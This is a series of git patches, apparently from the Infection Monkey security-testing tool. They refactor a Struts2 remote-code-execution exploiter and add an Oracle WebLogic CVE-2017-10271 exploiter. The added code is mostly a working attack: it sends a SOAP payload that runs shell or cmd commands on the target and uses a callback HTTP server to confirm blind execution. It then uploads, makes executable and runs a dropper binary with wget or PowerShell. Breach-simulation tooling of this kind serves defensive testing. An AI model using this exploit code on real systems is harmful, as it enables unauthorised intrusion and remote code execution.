exploit(self, url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host @@ -232,18 +118,3 @@ class Struts2Exploiter(HostExploiter): page = e.partial return page - - @staticmethod - def get_exploitable_ports(host, port_list, names): - candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) - - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] - - return valid_ports From beb8dfed92d1381f82b90a6ec3d2a1b28adeeb6d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 10 Aug 2018 15:04:23 +0300 Subject: [PATCH 100/137] Struts2 refactored for framework fixes --- infection_monkey/exploit/struts2.py | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 395fe422a..2b672f290 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -26,45 +26,39 @@ class Struts2Exploiter(WebRCE): super(Struts2Exploiter, self).__init__(host) def exploit_host(self): - # We need a reference to the exploiter for WebRCE framework to use - exploiter = self.exploit # Get open ports - ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = WebRCE.build_potential_urls(self.host, ports) + urls = self.build_potential_urls(ports) vulnerable_urls = [] for url in urls: # Get full URL url = self.get_redirected(url) - if WebRCE.check_if_exploitable(exploiter, url): + if self.check_if_exploitable(url): vulnerable_urls.append(url) self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False - # We need to escape backslashes for our exploiter - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) - config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + if not self.set_host_arch(vulnerable_urls[0]): return False - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + data = self.upload_monkey(vulnerable_urls[0]) # We can't use 'if not' because response may be '' - if data is not False and data['response'] == False: + if data is not False and data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: return False return True @@ -86,6 +80,8 @@ class Struts2Exploiter(WebRCE): :param cmd: Code to try and execute on host :return: response """ + cmd = re.sub(r"\\", r"\\\\", cmd) + cmd = re.sub(r"'", r"\\'", cmd) payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ From 071535fd010c00cfa85d4b81bd3852d36374aab5 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 21 Aug 2018 12:31:50 +0300 Subject: [PATCH 101/137] Struts2 refactored to use default_exploit_host function --- infection_monkey/exploit/struts2.py | 65 +++++++++++++---------------- 1 file changed, 28 insertions(+), 37 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 2b672f290..387c4bfa8 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,7 @@ import re import logging from web_rce import WebRCE -import copy +from posixpath import join __author__ = "VakarisZ" @@ -23,45 +23,36 @@ class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): - super(Struts2Exploiter, self).__init__(host) + super(Struts2Exploiter, self).__init__(host, None) def exploit_host(self): - # Get open ports - ports = self.get_ports_w(self.HTTP, ["http"]) - if not ports: - return False - # Get urls to try to exploit - urls = self.build_potential_urls(ports) - vulnerable_urls = [] - for url in urls: - # Get full URL - url = self.get_redirected(url) - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False + return self.default_exploit_host(dropper=True) - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - if not self.set_host_arch(vulnerable_urls[0]): - return False - - data = self.upload_monkey(vulnerable_urls[0]) - - # We can't use 'if not' because response may be '' - if data is not False and data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: - return False - - return True + def build_potential_urls(self, ports, extensions=None): + """ + We need to override this method to get redirected url's + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + redirected_url = self.get_redirected(url) + url_list.append(redirected_url) + if not url_list: + LOG.info("No attack url's were built") + return url_list @staticmethod def get_redirected(url): From b07e70855c8afbcca1501d3ede160382ecbd351b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 14:33:00 +0300 Subject: [PATCH 102/137] Refactored struts2 to overload get_exploit_config --- infection_monkey/exploit/struts2.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 387c4bfa8..f6ede586f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -25,8 +25,10 @@ class Struts2Exploiter(WebRCE): def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) - def exploit_host(self): - return self.default_exploit_host(dropper=True) + def get_exploit_config(self): + exploit_config = super(Struts2Exploiter, self).get_exploit_config() + exploit_config['dropper'] = True + return exploit_config def build_potential_urls(self, ports, extensions=None): """ @@ -47,7 +49,7 @@ class Struts2Exploiter(WebRCE): protocol = "https" else: protocol = "http" - url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) redirected_url = self.get_redirected(url) url_list.append(redirected_url) if not url_list: From 84fb96d0de4b5995139be4b852c34f9064dffd56 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 13:51:11 +0300 Subject: [PATCH 103/137] struts built_potential_url's now use map function to save code --- infection_monkey/exploit/struts2.py | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f6ede586f..867ab92fa 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -38,22 +38,8 @@ class Struts2Exploiter(WebRCE): :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ - url_list = [] - if extensions: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] - else: - extensions = [""] - for port in ports: - for extension in extensions: - if port[1]: - protocol = "https" - else: - protocol = "http" - url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) - redirected_url = self.get_redirected(url) - url_list.append(redirected_url) - if not url_list: - LOG.info("No attack url's were built") + url_list = super(Struts2Exploiter, self).build_potential_urls(ports) + url_list = list(map(self.get_redirected, url_list)) return url_list @staticmethod From 2295f2c0abec75549eef85559dc022f29d0b2705 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 14:37:31 +0300 Subject: [PATCH 104/137] More pythonic and clean way to apply function to url_list --- infection_monkey/exploit/struts2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 867ab92fa..ae0bdd948 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -39,7 +39,7 @@ class Struts2Exploiter(WebRCE): :return: Array of url's to try and attack """ url_list = super(Struts2Exploiter, self).build_potential_urls(ports) - url_list = list(map(self.get_redirected, url_list)) + url_list = [self.get_redirected(url) for url in url_list] return url_list @staticmethod From 8af2ab70e7ae49169544f9ba2293ddd7793eab7b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 15:06:58 +0300 Subject: [PATCH 105/137] Removed unused import statement --- infection_monkey/exploit/struts2.py | 1 - 1 file changed, 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index ae0bdd948..fe4a73c09 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,6 @@ import re import logging from web_rce import WebRCE -from posixpath import join __author__ = "VakarisZ" From ab64e78f00966fd3fc425e976add9bda387de64d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 14:15:18 +0300 Subject: [PATCH 106/137] Core functions of Oracle weblogic rce --- infection_monkey/config.py | 6 +- infection_monkey/example.conf | 6 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/weblogic.py | 203 ++++++++++++++++++ monkey_island/cc/services/config.py | 16 +- monkey_island/cc/services/report.py | 15 +- .../cc/ui/src/components/pages/ReportPage.js | 28 ++- 7 files changed, 264 insertions(+), 11 deletions(-) create mode 100644 infection_monkey/exploit/weblogic.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 818bc75a0..b5df92f55 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -149,7 +149,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter # multi + ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi ] # how many victims to look for in a single scan iteration @@ -191,7 +191,7 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate + 8008, 7001 # HTTP alternate ] tcp_target_ports = [22, 2222, diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 3c33d975a..1d6d4f0e9 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -37,7 +37,8 @@ "ShellShockExploiter", "ElasticGroovyExploiter", "SambaCryExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter" ], "finger_classes": [ "SSHFinger", @@ -87,7 +88,8 @@ 443, 3306, 8008, - 9200 + 9200, + 7001 ], "timeout_between_iterations": 10, "use_file_logging": true, diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index f2d5d0c5b..346f6276b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter from struts2 import Struts2Exploiter +from weblogic import WebLogicExploiter diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py new file mode 100644 index 000000000..f4f034132 --- /dev/null +++ b/infection_monkey/exploit/weblogic.py @@ -0,0 +1,203 @@ +# Exploit based of: +# Kevin Kirsche (d3c3pt10n) +# https://github.com/kkirsche/CVE-2017-10271 +# and +# Luffin from Github +# https://github.com/Luffin/CVE-2017-10271 +# CVE: CVE-2017-10271 + +from requests import post, exceptions +from web_rce import WebRCE +from exploit.tools import get_free_tcp_port, get_interface_to_target +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +from model import POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, WGET_HTTP_UPLOAD + +import threading +import logging +import copy +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for response +DOWNLOAD_TIMEOUT = 4 +# How long to wait for a request to go to vuln machine and then to our server from there +REQUEST_TIMEOUT = 2 +# How long to wait for response in exploitation +EXECUTION_TIMEOUT = 15 +# Server might get response faster than it starts listening to it, we need a lock +LOCK = threading.Lock() +URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] +# Malicious request's headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + } + + +class WebLogicExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(WebLogicExploiter, self).__init__(host) + + def exploit_host(self): + # Get open ports + ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + if not ports: + return False + # Get urls to try to exploit + urls = WebRCE.build_potential_urls(self.host, ports, URLS) + + exploiter = self.exploit + + # Checking takes a lot of time, so we check until we get exploitable url and stop + vulnerable_urls = [] + for url in urls: + # Get full URL + if self.test_exploit(url): + vulnerable_urls.append(url) + break + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: + return False + + # Somehow we can't save files outside server's directory + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = 'monkey-32.exe' + config.dropper_target_path_win_64 = 'monkey-64.exe' + config.dropper_target_path_linux = './monkey.sh' + + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], + {'windows': POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, + 'linux': WGET_HTTP_UPLOAD}) + + # We can't use 'if not' because response may be '' + if not data or data['response'] == False: + return False + + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], False) == False: + return False + + return True + + def exploit(self, url, command): + empty_payload = ''' + + + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + if 'linux' in self.host.os['type']: + cmd_base = '/bin/sh' + cmd_opt = '-c' + command += ' 1> /dev/null 2> /dev/null' + else: + cmd_base = 'cmd' + cmd_opt = '/c' + command += ' 1> NUL 2> NUL' + + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + try: + post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + except Exception as e: + print('[!] Connection Error') + print(e) + return True + + class HTTPServer(threading.Thread): + """ + Http server built to wait for GET requests. Because oracle web logic vuln is blind, + we determine if we can exploit by either getting a GET request from host or not. + """ + def __init__(self, local_ip, local_port, max_requests=1): + self._local_ip = local_ip + self._local_port = local_port + self.get_requests = 0 + self.max_requests = max_requests + self._stopped = False + threading.Thread.__init__(self) + + def run(self): + class S(BaseHTTPRequestHandler): + @staticmethod + def do_GET(): + LOG.info('Server received a request from vulnerable machine') + self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') + httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd.daemon = True + LOCK.release() + while not self._stopped and self.get_requests < self.max_requests: + httpd.handle_request() + + self._stopped = True + return httpd + + def test_exploit(self, url): + local_port = get_free_tcp_port() + local_ip = get_interface_to_target(self.host.ip_addr) + httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) + httpd.daemon = True + LOCK.acquire() + httpd.start() + LOCK.acquire() + generic_check_payload = ''' + + + + + http://{lhost}:{lport} + + + + + + + + + + ''' + payload = generic_check_payload.format(lhost=local_ip, lport=local_port) + try: + post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) + except exceptions.ReadTimeout: + pass + except Exception as e: + LOG.error("Something went wrong: %s" % e) + + LOCK.release() + httpd.join(DOWNLOAD_TIMEOUT) + if httpd.get_requests > 0: + exploited = True + else: + exploited = False + return exploited diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8781f2b21..16c7502f1 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -86,6 +86,13 @@ SCHEMA = { "Struts2Exploiter" ], "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" } ] }, @@ -626,7 +633,8 @@ SCHEMA = { "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN @@ -761,7 +769,8 @@ SCHEMA = { 80, 8080, 443, - 8008 + 8008, + 7001 ], "description": "List of ports the monkey will check if are being used for HTTP" }, @@ -783,7 +792,8 @@ SCHEMA = { 443, 8008, 3306, - 9200 + 9200, + 7001 ], "description": "List of TCP ports the monkey will check whether they're open" }, diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..f8647e81e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,7 +30,8 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'WebLogicExploiter': 'Oracle WebLogic exploiter' } class ISSUES_DICT(Enum): @@ -43,6 +44,7 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + WEBLOGIC = 9 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -298,6 +300,12 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_weblogic_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'weblogic' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +318,8 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'WebLogicExploiter': ReportService.process_weblogic_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -430,6 +439,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'weblogic': + issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a02a092d..ac796af61 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + WEBLOGIC: 9 }; Warning = @@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? +
  • Oracle WebLogic servers are vulnerable to remote code execution. ( + CVE-2017-10271)
  • : null }
    : @@ -693,6 +698,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateWebLogicIssue(issue) { + return ( +
  • + Install Oracle + critical patch updates. Or change server version. Vulnerable versions are + 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware + (subcomponent: WLS Security). +
    +
  • + ); + } + generateIssue = (issue) => { @@ -743,6 +766,9 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'weblogic': + data = this.generateWebLogicIssue(issue); + break; } return data; }; From 66bc852742fc1e9eb5e3cf1dfcdedf9240ffd4e4 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 7 Aug 2018 15:09:36 +0300 Subject: [PATCH 107/137] Bugfix: http servers thread is stopped if remote target is not vulnerable --- infection_monkey/exploit/weblogic.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index f4f034132..524d9a005 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -18,8 +18,8 @@ import copy __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -# How long server waits for response -DOWNLOAD_TIMEOUT = 4 +# How long server waits for get request +SERVER_TIMEOUT = 4 # How long to wait for a request to go to vuln machine and then to our server from there REQUEST_TIMEOUT = 2 # How long to wait for response in exploitation @@ -162,6 +162,10 @@ class WebLogicExploiter(WebRCE): self._stopped = True return httpd + def stop(self): + self._stopped = True + return + def test_exploit(self, url): local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) @@ -195,7 +199,8 @@ class WebLogicExploiter(WebRCE): LOG.error("Something went wrong: %s" % e) LOCK.release() - httpd.join(DOWNLOAD_TIMEOUT) + httpd.join(SERVER_TIMEOUT) + httpd.stop() if httpd.get_requests > 0: exploited = True else: From 10528c313dfad0fa8fe26e17edff0ab663670da9 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 17 Aug 2018 13:46:14 +0300 Subject: [PATCH 108/137] Webblogic refactored to web RCE framework changes(from static methods into class methods) --- infection_monkey/exploit/weblogic.py | 28 ++++++++++------------------ 1 file changed, 10 insertions(+), 18 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 524d9a005..c2b6e81a9 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -10,7 +10,7 @@ from requests import post, exceptions from web_rce import WebRCE from exploit.tools import get_free_tcp_port, get_interface_to_target from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer -from model import POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, WGET_HTTP_UPLOAD +from model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD import threading import logging @@ -46,17 +46,17 @@ class WebLogicExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): - super(WebLogicExploiter, self).__init__(host) + super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', + 'win32': 'monkey-32.exe', + 'win64': 'monkey-64.exe'}) def exploit_host(self): # Get open ports - ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = WebRCE.build_potential_urls(self.host, ports, URLS) - - exploiter = self.exploit + urls = self.build_potential_urls(ports, URLS) # Checking takes a lot of time, so we check until we get exploitable url and stop vulnerable_urls = [] @@ -69,24 +69,16 @@ class WebLogicExploiter(WebRCE): if not vulnerable_urls: return False - # Somehow we can't save files outside server's directory - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = 'monkey-32.exe' - config.dropper_target_path_win_64 = 'monkey-64.exe' - config.dropper_target_path_linux = './monkey.sh' - - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], - {'windows': POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, - 'linux': WGET_HTTP_UPLOAD}) + data = self.upload_monkey(vulnerable_urls[0], {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) # We can't use 'if not' because response may be '' - if not data or data['response'] == False: + if not data or data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], False) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: return False return True From 8fd42abd5d7e42a2553dcead47948211295a1651 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 19:00:14 +0300 Subject: [PATCH 109/137] Refactored according to final web_rce framework changes --- infection_monkey/exploit/weblogic.py | 40 +++++----------------------- 1 file changed, 7 insertions(+), 33 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index c2b6e81a9..4ea80c1d4 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -50,38 +50,12 @@ class WebLogicExploiter(WebRCE): 'win32': 'monkey-32.exe', 'win64': 'monkey-64.exe'}) - def exploit_host(self): - # Get open ports - ports = self.get_ports_w(self.HTTP, ["http"]) - if not ports: - return False - # Get urls to try to exploit - urls = self.build_potential_urls(ports, URLS) - - # Checking takes a lot of time, so we check until we get exploitable url and stop - vulnerable_urls = [] - for url in urls: - # Get full URL - if self.test_exploit(url): - vulnerable_urls.append(url) - break - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False - - data = self.upload_monkey(vulnerable_urls[0], {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) - - # We can't use 'if not' because response may be '' - if not data or data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: - return False - - return True + def get_exploit_config(self): + exploit_config = super(WebLogicExploiter, self).get_exploit_config() + exploit_config['blind_exploit'] = True + exploit_config['stop_checking_urls'] = True + exploit_config['url_extensions'] = URLS + return exploit_config def exploit(self, url, command): empty_payload = ''' @@ -158,7 +132,7 @@ class WebLogicExploiter(WebRCE): self._stopped = True return - def test_exploit(self, url): + def check_if_exploitable(self, url): local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) From 8e8422b3b7c4019f20b43e2f02a6b2a20d57dca3 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 13:58:11 +0300 Subject: [PATCH 110/137] Lock changed from singleton into local variable --- infection_monkey/exploit/weblogic.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 4ea80c1d4..f8db585a5 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -24,8 +24,6 @@ SERVER_TIMEOUT = 4 REQUEST_TIMEOUT = 2 # How long to wait for response in exploitation EXECUTION_TIMEOUT = 15 -# Server might get response faster than it starts listening to it, we need a lock -LOCK = threading.Lock() URLS = ["/wls-wsat/CoordinatorPortType", "/wls-wsat/CoordinatorPortType11", "/wls-wsat/ParticipantPortType", @@ -133,13 +131,15 @@ class WebLogicExploiter(WebRCE): return def check_if_exploitable(self, url): + # Server might get response faster than it starts listening to it, we need a lock + lock = threading.Lock() local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) httpd.daemon = True - LOCK.acquire() + lock.acquire() httpd.start() - LOCK.acquire() + lock.acquire() generic_check_payload = ''' @@ -164,7 +164,7 @@ class WebLogicExploiter(WebRCE): except Exception as e: LOG.error("Something went wrong: %s" % e) - LOCK.release() + lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() if httpd.get_requests > 0: From f001403a9282bf6b3d36dedefaefeaaff3f33f77 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 14:35:45 +0300 Subject: [PATCH 111/137] Fixed lock bug and made uploaded monkey names standard --- infection_monkey/exploit/weblogic.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index f8db585a5..113a63046 100644 --- a/infection_monkey/exploit/weblogic.py +++ 